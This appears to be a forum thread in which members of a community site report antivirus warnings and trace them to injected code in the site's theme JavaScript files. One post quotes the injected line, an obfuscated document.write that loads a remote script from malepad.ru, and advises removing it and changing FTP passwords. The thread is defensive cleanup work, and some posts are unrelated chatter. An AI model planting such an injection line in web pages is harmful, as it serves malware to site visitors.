I will change my password only if Marc or John say we should do so.

Marc or John: The button that says "logout" has a small line pointing down to the left of the letter L by one space.

Actually, that's supposed to be there...but it's supposed to go all the way down.  To its left is the "Chat" button, but for some reason, it's only taking up the small amount of space to the left of the visible part of the line.

That wasn't a showcase, that was an infomercial.

It's now pointing to a malepad.ru...at one point it tried to load an exploit in Adobe Acrobat.  It's also not in the source code (like the other one was).
They can be close at the top, too.

It's happening to me too.  It says it's something in the Themes directory (this coming from Avast).  It says that the threat is coming from:  http://www.golden-road.net/Themes/default/script.js?fin11 [L] JS:Illredir-CI [Trj] and from http://www.golden-road.net/Themes/default/xml_topic.js [L] JS:Illredir-CI [Trj]

Yep.  Last line of that script.js file:

Code: [Select]
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Gibibyte.js"></scr'+'ipt>');
Kill it and you're good to go.  Might want to change and enhance the FTP passwords, too.

It's not in the other JS file.

Well, just outside the edit time, but that line is also in the first JS file listed in the code for the FAQ (wikibits.js), and the "scripts.js" file for the Golden Gallery.  Same line, same location in all three places.
They can be close at the top, too.

Hmm...it's giving me no problems at all. Last time I couldn't even access the site at all.

People are tired of the f**kery and drama, but if we'd actually talk to each other sometimes instead of a whole bunch of private conversations with other people, it'd go a long way to perhaps fixing the problems most seem to see in the site.

Everything looks good on my end at the top except that chat button to open the chat isn't there.

At this point the forums should be back to normal.  I would suggest staying away from the Gallery and the FAQ until I can take a closer look and perhaps update the software.

Just so you know, I tried to visit the archives and a virus was detected. Is the main forum the only known malware-free part of the site?

Password looks like any idiot could have made it up, but we have 14 of our people working on that show. There is a great complexity behind the screen. It requires great work to keep it simple."
